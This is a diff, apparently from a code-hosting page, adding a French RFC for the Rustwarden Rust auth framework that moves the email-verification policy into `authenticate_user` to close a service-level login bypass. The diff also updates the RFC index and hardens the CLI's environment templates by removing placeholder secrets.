| 45 | +`verify_credentials` (~L50) reste le primitive « mot de passe seulement » — utilisé par [`totp_handler`](../../crates/rustwarden-ui/src/handlers/totp_handler.rs) (~L336) pour re-prompt password au setup 2FA. **Ne pas** y coller le check e-mail. | |
| 46 | + | |
| 47 | +### Bootstrap admin | |
| 48 | + | |
| 49 | +[`ensure_default_admin`](../../crates/rustwarden-core/src/services/default_admin_service.rs) (~L86) pose déjà `email_verified = Set(true)` après `create_user`. **Ne pas** retravailler ce seed. L’admin par défaut passe le nouveau check. Les users `register` restent `email_verified=false` ([`create_user`](../../crates/rustwarden-core/src/services/user_service.rs) ~L50). | |
| 50 | + | |
| 51 | +### Qui est impacté | |
| 52 | + | |
| 53 | +- Gitrust / apps qui login via le service au lieu de `/api/v1/auth/login`. | |
| 54 | +- `rustwarden-ui` : [`login.html`](../../crates/rustwarden-ui/templates/login.html) fait déjà `fetch('/api/v1/auth/login')` — comportement **identique** après déplacement (le handler délègue). | |
| 55 | +- Utilisateurs non vérifiés : toujours bloqués si le setting est vrai (défaut `true`). | |
| 56 | + | |
| 57 | +### Si on ne fait rien | |
| 58 | + | |
| 59 | +Politique `validation_email_required` = théâtre HTTP. Un consommateur « bien intentionné » qui factorise le login sur `authenticate_user` ouvre un bypass. RFC 0038 (un-verify au change d’e-mail) serait inefficace sur ces chemins. | |
| 60 | + | |
| 61 | +### Urgence | |
| 62 | + | |
| 63 | +Pas un patch 1.0.1. Durcissement de la porte d’auth unique. Breaking comportemental **voulu** pour les callers service. | |
| 64 | + | |
| 65 | +## Non-goals | |
| 66 | + | |
| 67 | +- **Pas de nouveau middleware browser obligatoire** (E-2). Le limiteur login **est** le layer [`auth_ip_rate_limit`](../../crates/rustwarden-core/src/middleware/rate_limit.rs) (~L223) monté sur [`auth_api_routes`](../../crates/rustwarden-core/src/auth/routes.rs) (`/api/v1/auth/login`, register, refresh, forgot-password, 2FA verify, resend-verification). Helper public inchangé : `check_auth_rate_limit(&HeaderMap)`. | |
| 68 | +- **SSR `POST /login`** : soit appeler `check_auth_rate_limit` (ou le layer), soit **passer par** `POST /api/v1/auth/login` (comme `rustwarden-ui`). Cette RFC **n’ajoute pas** de layer CSRF/rate-limit sur les routes HTML. | |
| 69 | +- **Pas de rework** `default_admin_service` / seed `email_verified=true`. | |
| 70 | +- **Pas de check dans** `verify_credentials` (setup TOTP, re-auth password). | |
| 71 | +- **Pas de révocation** des JWT déjà émis pour un compte non vérifié. | |
| 72 | +- **Pas de changement** du message d’erreur actuel (français, `AppError::Validation`) au premier PR — l’UI parse `err.error` / `err.message`. | |
| 73 | +- **Pas de newtype / nouvel `AppError::EmailNotVerified`** dans cette RFC (open question). | |
| 74 | +- **Pas d’OAuth** : le signup OAuth a son propre `email_verified` provider. | |
| 75 | + | |
| 76 | +## API proposée | |
| 77 | + | |
| 78 | +Signature **inchangée** : | |
| 79 | + | |
| 80 | +```rust | |
| 81 | +// crates/rustwarden-core/src/services/auth_service.rs | |
| 82 | +impl AuthService { | |
| 83 | + /// Authenticate user (password + optional email-verified policy). | |
| 84 | + /// | |
| 85 | + /// 1. [`Self::verify_credentials`] | |
| 86 | + /// 2. Log `must_change_password` (does not block) | |
| 87 | + /// 3. If `validation_email_required` / `validation_email_requise` | |
| 88 | + /// (default `true`) and `!user.email_verified` → [`AppError::Validation`] | |
| 89 | + pub async fn authenticate_user( | |
| 90 | + db: &DatabaseConnection, | |
| 91 | + identifier: &str, | |
| 92 | + password: &str, | |
| 93 | + ) -> Result<user::Model, AppError> { /* ... */ } | |
| 94 | +} | |
| 95 | +``` | |
| 96 | + | |
| 97 | +Corps **après Accept** (proposition ; Draft, ne compile pas tel quel tant que les `use` ne sont pas ajoutés) : | |
| 98 | + | |
| 99 | +```rust | |
| 100 | +pub async fn authenticate_user( | |
| 101 | + db: &DatabaseConnection, | |
| 102 | + identifier: &str, | |
| 103 | + password: &str, | |
| 104 | +) -> Result<user::Model, AppError> { | |
| 105 | + let user = Self::verify_credentials(db, identifier, password).await?; | |
| 106 | + | |
| 107 | + if user.must_change_password { | |
| 108 | + tracing::info!("User {} should change password (flag set)", user.username); | |
| 109 | + } | |
| 110 | + | |
| 111 | + let email_validation_required = | |
| 112 | + crate::services::app_settings_service::AppSettingsService::get_bool_with_fallback( | |
| 113 | + db, | |
| 114 | + &["validation_email_required", "validation_email_requise"], | |
| 115 | + true, | |
| 116 | + ) | |
| 117 | + .await | |
| 118 | + .unwrap_or(true); | |
| 119 | + | |
| 120 | + if email_validation_required && !user.email_verified { | |
| 121 | + tracing::warn!( | |
| 122 | + "Login attempt blocked (unverified email): {} ({})", | |
| 123 | + user.username, | |
| 124 | + user.email | |
| 125 | + ); | |
| 126 | + let _ = crate::services::auth_logging::AuthLoggingService::log_blocked_login( | |
| 127 | + db, | |
| 128 | + &user.email, | |
| 129 | + "email_not_verified", | |
| 130 | + None, | |
| 131 | + ) | |
| 132 | + .await; | |
| 133 | + return Err(AppError::Validation( | |
| 134 | + "Votre email n'est pas vérifié. Cliquez sur « Renvoyer l'email de validation » pour recevoir un nouveau lien.".to_string(), | |
| 135 | + )); | |
| 136 | + } | |
| 137 | + | |
| 138 | + Ok(user) | |
| 139 | +} | |
| 140 | +``` | |
| 141 | + | |
| 142 | +Notes d’implémentation : | |
| 143 | + | |
| 144 | +- `unwrap_or(true)` : lookup setting en erreur → **fail-closed** (exiger la vérif), comme le handler. | |
| 145 | +- `log_blocked_login(..., hooks: None)` : l’`audit_logs` row est écrite ; `on_audit_event` du handler HTTP **ne** part plus de `login` sauf si on ajoute un paramètre `hooks` (open question). Gitrust qui appelait le service n’avait **aucun** check : un audit_log sans hook reste un plus. | |
| 146 | +- Handler `login` : **supprimer** le bloc 313–340 (évite double lecture setting + double log). Enchaîner TOTP / tokens comme aujourd’hui. | |
| 147 | +- Coût : la même requête `app_settings` qu’aujourd’hui, déplacée. | |
| 148 | + | |
| 149 | +### Usage consommateur (Gitrust / SSR) | |
| 150 | + | |
| 151 | +```rust | |
| 152 | +use rustwarden_core::error::AppError; | |
| 153 | +use rustwarden_core::middleware::rate_limit::check_auth_rate_limit; | |
| 154 | +use rustwarden_core::services::auth_service::AuthService; | |
| 155 | +use axum::http::HeaderMap; | |
| 156 | +use sea_orm::DatabaseConnection; | |
| 157 | + | |
| 158 | +async fn ssr_login( | |
| 159 | + db: &DatabaseConnection, | |
| 160 | + headers: &HeaderMap, | |
| 161 | + identifier: &str, | |
| 162 | + password: &str, | |
| 163 | +) -> Result<(), AppError> { | |
| 164 | + // E-2: this RFC does not add a browser middleware. | |
| 165 | + if let Err(resp) = check_auth_rate_limit(headers) { | |
| 166 | + let _ = resp; // map to AppError::TooManyRequests at impl time | |
| 167 | + return Err(AppError::TooManyRequests { | |
| 168 | + retry_after_secs: 60, | |
| 169 | + }); | |
| 170 | + } | |
| 171 | + let _user = AuthService::authenticate_user(db, identifier, password).await?; | |
| 172 | + Ok(()) | |
| 173 | +} | |
| 174 | +``` | |
| 175 | + | |
| 176 | +Chemin **recommandé** : ne pas dupliquer, `fetch`/`POST` `/api/v1/auth/login` (layer `auth_ip_rate_limit` déjà là, `ConnectInfo` via `RustwardenApp::run`). | |
| 177 | + | |
| 178 | +`check_auth_rate_limit` sans `ConnectInfo` clé `auth:unknown` si `TRUSTED_PROXY_HOPS=0` — c’est le contrat 1.0.1 ; les apps SSR doivent préférer le layer ou `into_make_service_with_connect_info`. | |
| 179 | + | |
| 180 | +## Analyse de compatibilité | |
| 181 | + | |
| 182 | +Checklist : | |
| 183 | + | |
| 184 | +- [x] API existante non modifiée → signature `authenticate_user` inchangée (**compile**). | |
| 185 | +- [ ] API existante étendue avec défaut → N/A. | |
| 186 | +- [x] API existante modifiée ou supprimée → **breaking comportemental** pour tout caller service qui login un user `email_verified=false` alors que le setting est true. | |
| 187 | +- [x] Nouveau comportement par défaut du **service** (le HTTP l’avait déjà). Pas de feature-flag au-delà du setting existant. | |
| 188 | +- [ ] Changement de schéma DB → non. | |
| 189 | +- [ ] Changement de format sérialisé → le JSON `login` inchangé (même `AppError::Validation`). | |
| 190 | + | |
| 191 | +SemVer : minor `Security` documenté, ou major processus §1. Open question. Gitrust **doit** s’attendre au blocage (c’est le bugfix). | |
| 192 | + | |
| 193 | +HTTP `login` : non-breaking fonctionnel (même message, même setting). | |
| 194 | + | |
| 195 | +## Alternatives considérées | |
| 196 | + | |
| 197 | +**Minimum 3 alternatives** avec analyse pros/cons, y compris "ne rien faire". Sans ça la RFC est incomplète : on ne peut pas juger une proposition sans son coût relatif. | |
| 198 | + | |
| 199 | +### Alternative A (recommandée) : déplacer le check dans `authenticate_user` | |
| 200 | + | |
| 201 | +**Pros** : une porte, impossible à contourner via le service. Même setting / même message / même fail-closed. Admin seed déjà `email_verified=true`. Handler allégé. RFC 0038 devient effective partout. | |
| 202 | + | |
| 203 | +**Cons** : breaking pour Gitrust SSR. `on_audit_event` du handler login ne voit plus ce blocage sauf `hooks` passé au service (None au v1). Un `SELECT` settings sur tous les callers service (voulus). | |
| 204 | + | |
| 205 | +### Alternative B : documenter « les consommateurs doivent recopier le check » | |
| 206 | + | |
| 207 | +**Pros** : zéro diff core service ; HTTP inchangé. | |
| 208 | + | |
| 209 | +**Cons** : exactement le gap actuel. Deux implémentations (HTTP vs Gitrust) dérivent. `validation_email_requise` oublié d’un côté. Contredit « lowest common denominator » du processus. | |
| 210 | + | |
| 211 | +### Alternative C (ne rien faire) | |
| 212 | + | |
| 213 | +**Pros** : zéro coût, zéro risque de casser un login Gitrust non vérifié (s’il en existe en prod). | |
| 214 | + | |
| 215 | +**Cons** : bypass service à vie ; 0038 inefficace hors HTTP ; dette audit Task 17. | |
| 216 | + | |
| 217 | +## Testing plan | |
| 218 | + | |
| 219 | +Tests unitaires / service (DB de test) : | |
| 220 | + | |
| 221 | +- Happy path : user `email_verified=true`, setting true → `authenticate_user` `Ok(user)` (credentials valides). | |
| 222 | +- Happy path setting off : `validation_email_required=false`, user non vérifié → `Ok(user)`. | |
| 223 | +- Erreur 1 — input invalide : mauvais mot de passe → `AppError::InvalidCredentials` **avant** le check e-mail (pas d’oracle « compte existe mais non vérifié » vs « mauvais mot de passe » au-delà de ce que `verify_credentials` fait déjà). | |
| 224 | +- Erreur 2 — contrainte politique : setting true (ou absent, défaut true), `email_verified=false`, bon mot de passe → `AppError::Validation` avec le message français actuel ; une row `audit_logs` `login_blocked` / `email_not_verified`. | |
| 225 | +- Erreur 3 — lookup setting `DbErr` : `unwrap_or(true)` → user non vérifié bloqué (fail-closed), pas de panic ; user vérifié toujours `Ok`. | |
| 226 | +- Admin bootstrap : `ensure_default_admin` puis `authenticate_user(ADMIN_USERNAME, ADMIN_PASSWORD)` → `Ok` (email déjà true). **Ne pas** modifier le seed ; c’est un test de non-régression. | |
| 227 | + | |
| 228 | +Tests d’intégration (handler HTTP) : | |
| 229 | + | |
| 230 | +- `POST /api/v1/auth/login` user non vérifié → même 4xx / body qu’aujourd’hui (après suppression du bloc handler). | |
| 231 | +- `POST /api/v1/auth/login` reste derrière `auth_ip_rate_limit` (tests existants `auth/routes.rs`). | |
| 232 | +- `verify_credentials` seul (chemin TOTP UI) : user non vérifié + bon password → **toujours Ok** (pas de régression setup 2FA). | |
| 233 | + | |
| 234 | +Tests de non-régression : | |
| 235 | + | |
| 236 | +- Consommateurs **compilent**. | |
| 237 | +- `must_change_password` toujours logged, jamais bloquant dans `authenticate_user`. | |
| 238 | +- `rustwarden-ui` login page : pas de nouveau middleware ; continue d’appeler l’API. | |
| 239 | + | |
| 240 | +Doctests : | |
| 241 | + | |
| 242 | +- Rustdoc anglais sur `authenticate_user` : politique e-mail + pointeur `verify_credentials`. Exemple I/O en `ignore`. Contrat lisible sans DB. | |
| 243 | + | |
| 244 | +Benchs : un `get_bool_with_fallback` déjà payé par HTTP. Pas de nouveau bcrypt. Pas de seuil 10 %. | |
| 245 | + | |
| 246 | +Les snippets `ssr_login` sont documentaires ; `TooManyRequests` mapping est indicatif. | |
| 247 | + | |
| 248 | +## Migration guide | |
| 249 | + | |
| 250 | +Section à copier telle quelle dans le `CHANGELOG.md` au moment du merge. | |
| 251 | + | |
| 252 | +```markdown | |
| 253 | +### API changes | |
| 254 | + | |
| 255 | +**Before (v1.0.1)** : | |
| 256 | +Le contrôle `email_verified` vivait dans `auth::handlers::login` | |
| 257 | +(`get_bool_with_fallback(["validation_email_required", | |
| 258 | +"validation_email_requise"], true)`). `AuthService::authenticate_user` | |
| 259 | +ne vérifiait que le mot de passe. Un SSR / Gitrust qui appelait le | |
| 260 | +service contournait la politique. | |
| 261 | + | |
| 262 | +**After (vX.Y.Z)** : | |
| 263 | +Le même contrôle (mêmes clés, défaut `true`, fail-closed, même | |
| 264 | +`AppError::Validation` français) est dans `authenticate_user`. | |
| 265 | +Le handler `login` ne le duplique plus. `verify_credentials` inchangé | |
| 266 | +(re-auth TOTP). `ensure_default_admin` pose déjà `email_verified=true` | |
| 267 | +— pas de changement de seed. | |
| 268 | + | |
| 269 | +Breaking pour les callers de `authenticate_user` : un compte non | |
| 270 | +vérifié est désormais refusé si le setting est actif. | |
| 271 | + | |
| 272 | +E-2 : pas de nouveau middleware browser. Limiteur = | |
| 273 | +`auth_ip_rate_limit` sur `/api/v1/auth/*`. Un `POST /login` SSR doit | |
| 274 | +appeler `check_auth_rate_limit` **ou** passer par l'API. | |
| 275 | + | |
| 276 | +```rust | |
| 277 | +let user = AuthService::authenticate_user(db, identifier, password).await?; | |
| 278 | +``` | |
| 279 | + | |
| 280 | +### Migration steps | |
| 281 | + | |
| 282 | +1. Bump `rustwarden-core` à la version qui livre RFC 0040. | |
| 283 | +2. Gitrust : grep `authenticate_user` — s'attendre au `Validation` | |
| 284 | + e-mail non vérifié ; ne **pas** réimplémenter le check à côté. | |
| 285 | +3. Routes SSR `POST /login` : `check_auth_rate_limit` ou proxy API. | |
| 286 | + Pas d'obligation de nouveau layer. | |
| 287 | +4. Vérifier que l'admin par défaut se connecte toujours (seed | |
| 288 | + `email_verified=true`). | |
| 289 | +5. Aucune migration SQL. | |
| 290 | +``` | |
| 291 | + | |
| 292 | +## Open questions | |
| 293 | + | |
| 294 | +Liste des points en suspens. La RFC ne peut pas être acceptée tant qu’ils ne sont pas résolus : | |
| 295 | + | |
| 296 | +- [ ] **`hooks` sur `authenticate_user`** : rester `log_blocked_login(..., None)` (recommandé v1, signature stable) vs `Option<&Arc<dyn RustwardenHooks>>` (breaking ou surcharge) ? | |
| 297 | +- [ ] **`AppError::EmailNotVerified`** : garder `Validation` (compat UI) vs variante dédiée (meilleur i18n, breaking JSON) ? | |
| 298 | +- [ ] **SemVer** : minor Security vs major (comportement service) ? | |
| 299 | +- [ ] **Tracking GitHub** : ouvrir l’issue avant `Under Review`. | |
| 300 | + | |
| 301 | +## Tracking issue | |
| 302 | + | |
| 303 | +À ouvrir sur le dépôt Rustwarden (labels `area:auth` + `security` + `rfc`) en référençant Task 17, E-2 et Gitrust. Pas d’URL tant que le Draft n’est pas soumis. | |
| 304 | + | |
| 305 | +--- | |
| 306 | + | |
| 307 | +## Score d'évaluation (rempli par les reviewers) | |
| 308 | + | |
| 309 | +Notes **proposées par l’auteur** (Draft) ; les reviewers confirment ou ajustent. Seuil Accepted : ≥ 25/35. | |
| 310 | + | |
| 311 | +| Critère | Note (1-5) | Commentaire | | |
| 312 | +|---|---|---| | |
| 313 | +| Généralité | 5 | Tous les callers `authenticate_user` ; Gitrust n’a plus de bypass. | | |
| 314 | +| Stabilité API | 4 | Signature identique ; breaking comportemental service (voulu, HTTP inchangé). | | |
| 315 | +| Performance | 5 | Même `get_bool_with_fallback` qu’avant, juste déplacé ; pas de bcrypt extra. | | |
| 316 | +| Sécurité | 5 | Ferme le trou SSR/service ; fail-closed ; `verify_credentials` reste utilisable. | | |
| 317 | +| Complexité d'implémentation | 5 | Déplacer ~25 lignes + tests ; seed admin intact. | | |
| 318 | +| Charge de maintenance | 5 | Une politique, un endroit ; plus de drift handler vs service. | | |
| 319 | +| Documentation | 4 | RFC + CHANGELOG + rustdoc + contrat E-2 rate-limit. | | |
| 320 | +| **Total** | **33/35** | (≥ 25 pour Accepted) | |
M
docs/rfcs/README.md
+10
-0
@@ -87,6 +87,16 @@ Score minimum **25/35** pour passer en `Accepted`. Voir grille détaillée dans
| 87 | 87 | | 0026-0028 | _réservés_ pour travaux framework en cours (cf. backlog interne) | — | — | — | |
| 88 | 88 | | [0029](0029-fediverse-remote-resource-shares.md) | Fediverse — `RemoteResourceShareService` (partages cross-instance de ressources génériques) | **Accepted** (33/35, livré + 11 tests E2E verts) | EBO (origine gitrust) | 2026-05-15 | |
| 89 | 89 | | [0030](0030-fediverse-remote-personal-access-tokens.md) | Fediverse — `RemotePersonalAccessTokenService` (PAT pour identités remote) | **Accepted** (34/35, livré + 20 tests E2E verts) | EBO (origine gitrust) | 2026-05-15 | |
| 90 | +| [0031](0031-auth-service-optional-fallback.md) | Auth — fallback `AuthConfig::from_env()` sur la branche optional de `AuthService` | **Accepted** (implémenté 2026-05-16) | EBO (gitrust) | 2026-05-16 | | |
| 91 | +| [0032](0032-fediverse-event-observer-delete-actor.md) | Fediverse — `on_delete_actor` sur `FediverseEventObserver` | **Draft** | EBO (gitrust) | 2026-05-17 | | |
| 92 | +| [0033](0033-fediverse-delete-actor-hooks-unification.md) | Fediverse — unifier `apply_delete_actor*` derrière `DeleteActorHooks` | **Implemented** | EBO | 2026-05-17 | | |
| 93 | +| [0034](0034-edition-2024-fmt-cleanup.md) | Workspace — cleanup rustfmt après migration édition 2024 | **Draft** | EBO (gitrust) | 2026-05-18 | | |
| 94 | +| [0035](0035-oauth-pkce-code-verifier.md) | OAuth — envoyer `code_verifier` PKCE à l'échange (GitHub & Discord) | **Implemented** (2026-06-18) | PasterMan | 2026-06-18 | | |
| 95 | +| [0036](0036-username-charset-validation.md) | Auth — newtype `Username` (charset GitHub-like, audit M-1) | **Draft** | EBO (origine audit Gitrust / Rustwarden 1.0.1) | 2026-09-18 | | |
| 96 | +| [0037](0037-totp-last-used-step.md) | Auth — persister `last_used_step` TOTP (anti-rejeu multi-instance, audit M-7) | **Draft** | EBO (origine audit Gitrust / patch 1.0.1) | 2026-09-18 | | |
| 97 | +| [0038](0038-email-change-revalidation.md) | Auth — revalidation e-mail à `UserService::update_profile` | **Draft** | EBO (origine audit Gitrust / patch 1.0.1) | 2026-09-18 | | |
| 98 | +| [0039](0039-security-headers-config.md) | HTTP — `SecurityHeadersConfig` (CSP / COOP / CORP additifs) | **Draft** | EBO (origine audit Gitrust / patch 1.0.1) | 2026-09-18 | | |
| 99 | +| [0040](0040-authenticate-user-email-verified.md) | Auth — `authenticate_user` honore `validation_email_required` | **Draft** | EBO (origine audit Gitrust / patch 1.0.1) | 2026-09-18 | | |
| 90 | 100 | |
| 91 | 101 | À mesure que les RFCs sont créées, elles doivent apparaître dans cette table avec leur statut courant. |
| 92 | 102 |
M
tools/rustwarden-cli/README.md
+3
-1
@@ -149,7 +149,9 @@ Apres la copie des crates et des ressources, le wizard effectue automatiquement
| 149 | 149 | ```bash |
| 150 | 150 | cd mon-app |
| 151 | 151 | |
| 152 | -# 1. Demarrer PostgreSQL | |
| 152 | +# 1. PostgreSQL n'ecoute que 127.0.0.1:5432. Copier env.sample vers .env | |
| 153 | +# et definir POSTGRES_PASSWORD (obligatoire, pas de mot de passe par defaut). | |
| 154 | +cp database/env.sample database/.env | |
| 153 | 155 | cd database && docker compose up -d && cd .. |
| 154 | 156 | |
| 155 | 157 | # 2. Lancer l'application |
M
tools/rustwarden-cli/src/templates.rs
+4
-2
@@ -608,7 +608,8 @@ SERVER_PORT=3000
| 608 | 608 | RUST_LOG=debug |
| 609 | 609 | |
| 610 | 610 | # --- JWT --- |
| 611 | -JWT_SECRET=REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE | |
| 611 | +# Required. Generate a unique secret, e.g.: openssl rand -hex 32 | |
| 612 | +# JWT_SECRET= | |
| 612 | 613 | JWT_EXPIRATION_MINUTES=15 |
| 613 | 614 | JWT_ISSUER=mon-app |
| 614 | 615 | REFRESH_TOKEN_EXPIRATION_DAYS=7 |
@@ -631,7 +632,8 @@ COOKIE_SAME_SITE=Lax
| 631 | 632 | # --- Admin initial --- |
| 632 | 633 | ADMIN_USERNAME=admin |
| 633 | 634 | ADMIN_EMAIL=admin@example.com |
| 634 | -ADMIN_PASSWORD=REMPLACER_PAR_UN_MOT_DE_PASSE_FORT | |
| 635 | +# ADMIN_PASSWORD — requis pour creer l'admin au premier boot ; omettre pour ignorer. | |
| 636 | +# Ne pas copier un placeholder. | |
| 635 | 637 | |
| 636 | 638 | # --- Email SMTP --- |
| 637 | 639 | SMTP_HOST=smtp.example.com |
GitRust